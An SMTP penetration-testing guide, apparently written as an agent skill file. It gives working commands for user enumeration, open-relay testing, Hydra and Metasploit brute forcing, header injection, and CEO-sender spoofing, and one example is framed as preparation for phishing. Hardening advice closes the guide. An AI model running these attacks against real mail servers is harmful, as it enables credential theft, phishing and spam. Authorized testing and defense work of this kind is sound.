whd4 SMTP Penetration Testing
Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
Prerequisites
Required Tools
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
Outputs and Deliverables
- SMTP Security Assessment Report - Comprehensive vulnerability findings
- User Enumeration Results - Valid email addresses discovered
- Relay Test Results - Open relay status and exploitation potential
- Remediation Recommendations - Security hardening guidance
Core Workflow
Phase 1: SMTP Architecture Understanding
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
Phase 3: Banner Grabbing
Retrieve SMTP server information:
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
Parse banner information:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
Phase 4: SMTP Command Enumeration
Test available SMTP commands:
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
Key commands to test:
# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist
Phase 5: User Enumeration
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Using Nmap:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
Phase 6: Open Relay Testing
Test for unauthorized email relay:
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
Test variations:
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Using Medusa:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Using Metasploit:
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
Phase 8: SMTP Command Injection
Test for command injection vulnerabilities:
# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header
Injected content
.
Email spoofing test:
# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.
Phase 9: TLS/SSL Security Testing
Test encryption configuration:
# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp
# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465
# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
Phase 10: SPF, DKIM, DMARC Analysis
Check email authentication records:
# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf # SPF
dig TXT selector._domainkey.target.com # DKIM
dig TXT _dmarc.target.com # DMARC
# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
Quick Reference
Essential SMTP Commands
| Command | Purpose | Example |
|---|---|---|
| HELO | Identify client | HELO client.com |
| EHLO | Extended HELO | EHLO client.com |
| MAIL FROM | Set sender | MAIL FROM:<sender@test.com> |
| RCPT TO | Set recipient | RCPT TO:<user@target.com> |
| DATA | Start message body | DATA |
| VRFY | Verify user | VRFY admin |
| EXPN | Expand alias | EXPN staff |
| QUIT | End session | QUIT |
SMTP Response Codes
| Code | Meaning |
|---|---|
| 220 | Service ready |
| 221 | Closing connection |
| 250 | OK / Requested action completed |
| 354 | Start mail input |
| 421 | Service not available |
| 450 | Mailbox unavailable |
| 550 | User unknown / Mailbox not found |
| 553 | Mailbox name not allowed |
Enumeration Tool Commands
| Tool | Command |
|---|---|
| smtp-user-enum | smtp-user-enum -M VRFY -U users.txt -t IP |
| Nmap | nmap --script smtp-enum-users -p 25 IP |
| Metasploit | use auxiliary/scanner/smtp/smtp_enum |
| Netcat | nc IP 25 then manual commands |
Common Vulnerabilities
| Vulnerability | Risk | Test Method |
|---|---|---|
| Open Relay | High | Relay test with external recipient |
| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
| Banner Disclosure | Low | Banner grabbing |
| Weak Auth | High | Brute force attack |
| No TLS | Medium | STARTTLS test |
| Missing SPF/DKIM | Medium | DNS record lookup |
Constraints and Limitations
Legal Requirements
- Only test SMTP servers you own or have authorization to test
- Sending spam or malicious emails is illegal
- Document all testing activities
- Do not abuse discovered open relays
Technical Limitations
- VRFY/EXPN often disabled on modern servers
- Rate limiting may slow enumeration
- Some servers respond identically for valid/invalid users
- Greylisting may delay enumeration responses
Ethical Boundaries
- Never send actual spam through discovered relays
- Do not harvest email addresses for malicious use
- Report open relays to server administrators
- Use findings only for authorized security improvement
Examples
Example 1: Complete SMTP Assessment
Scenario: Full security assessment of mail server
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
Example 2: User Enumeration Attack
Scenario: Enumerate valid users for phishing preparation
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
Example 3: Open Relay Exploitation
Scenario: Test and document open relay vulnerability
# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE
# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
# Output:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
Troubleshooting
| Issue | Cause | Solution |
|---|---|---|
| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
| Brute Force Blocked | Rate limiting/lockout | Slow down (hydra -W 5); use password spraying; check for fail2ban |
| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
Security Recommendations
For Administrators
- Disable Open Relay - Require authentication for external delivery
- Disable VRFY/EXPN - Prevent user enumeration
- Enforce TLS - Require STARTTLS for all connections
- Implement SPF/DKIM/DMARC - Prevent email spoofing
- Rate Limiting - Prevent brute force attacks
- Account Lockout - Lock accounts after failed attempts
- Banner Hardening - Minimize server information disclosure
- Log Monitoring - Alert on suspicious activity
- Patch Management - Keep SMTP software updated
- Access Controls - Restrict SMTP to authorized IPs